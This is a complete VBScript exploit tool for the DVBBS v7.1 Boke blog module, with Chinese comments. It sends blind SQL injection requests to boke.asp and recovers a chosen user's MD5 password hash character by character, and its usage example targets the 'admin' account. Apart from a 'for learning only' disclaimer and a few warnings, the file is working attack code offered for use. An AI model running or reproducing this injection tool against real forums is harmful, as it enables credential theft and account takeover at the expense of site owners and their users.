On Error Resume Next
Dim oArgs
Dim oBokeXML 'XMLHTTP对象用来打开目标网址
Dim TargetURL '目标网址
Dim BlogName '博客用户名
Dim TempStr '存放已获取的部分 MD5密码
Dim CharHex '定义16进制字符
Set oArgs = WScript.arguments
If oArgs.count < 2 Then Call ShowUsage()
Set oBokeXML = CreateObject("Microsoft.XMLHTTP")
'补充完整目标网址
TargetURL = oArgs(0)
If LCase(Left(TargetURL,7)) <> "http://" Then TargetURL = "http://" & TargetURL
If right(TargetURL,1) <> "?" Then TargetURL = TargetURL & "?"
BlogName=oArgs(1)
TempStr=""
CharHex=Split("0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f",",")
Call main(TargetURL,BlogName)
Set oBokeXML = Nothing
'----------------------------------------------sub-------------------------------------------------------
'============================================
'函数名称:main
'函数功能:主程序,注入获得Boke 用户密码
'============================================
Sub main(TargetURL,BlogName)
Dim MainOffset,SubOffset,TempLen,OpenURL,GetPage
For MainOffset = 1 To 16
For SubOffset = 0 To 15
TempLen = 0
OpenURL = TargetURL & BlogName & "'and'" & TempStr & CharHex(SubOffset) & "'=left(password," &MainOffset& ")and''='.index.html"
oBokeXML.open "Get",OpenURL, False, "", ""
oBokeXML.send
GetPage = BytesToBstr(oBokeXML.ResponseBody)
'判断访问的页面是否存在
If InStr(GetPage,"<title>无法找到网页</title>")=0 And InStr(GetPage,"您正在搜索的网页可能已经删除、更名或暂时不可用。</font>")=0 Then
'“博客用户不存在或填写的资料有误” 为错误标志 ,返回此标志说明 猜解的 MD5 不正确
'如果得到 0000000000000000 的 MD5 值,请修改错误标志
If InStr(GetPage,"博客用户不存在或填写的资料有误")=0 Then
TempStr=TempStr & CharHex(SubOffset)
WScript.Echo " 已获取的MD5值为:" &CStr(TempStr) &" 其他密码正在读取中,请等待。。。"
Exit for
End if
Else
WScript.echo vbcrlf & "您输入的网址无法访问,请确认后重新输入。" & vbcrlf
WScript.echo vbcrlf & "本程序只用于学习交流,不能用于其非法用途。"& vbcrlf &"因使用本程序引起的一切后果和责任由使用者自负"
WScript.Quit
End If
next
Next
WScript.Echo " 成功读取密码的MD5值,为:" & TempStr & "请不要使用本程序进行破坏行为!"
End sub
'============================================
'函数名称:BytesToBstr
'函数功能:将XMLHTTP对象中的内容转化为GB2312编码
'============================================
Function BytesToBstr(body)
dim objstream
set objstream = CreateObject("ADODB.Stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = "GB2312"
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
'============================
'函数名称:ShowUsage
'函数功能:使用方法提示
'============================
Sub ShowUsage()
WScript.echo " DVBBS v7.1 Boke 利用程序" & vbcrlf & " By Execsl 06.4.23"
WScript.echo "Usage:"& vbcrlf & " CScript " & WScript.ScriptFullName &" TargetURL BlogName"
WScript.echo "Example:"& vbcrlf & " CScript " & WScript.ScriptFullName &" www.target.com/bbs/boke.asp admin"
WScript.echo ""
WScript.Quit
End Sub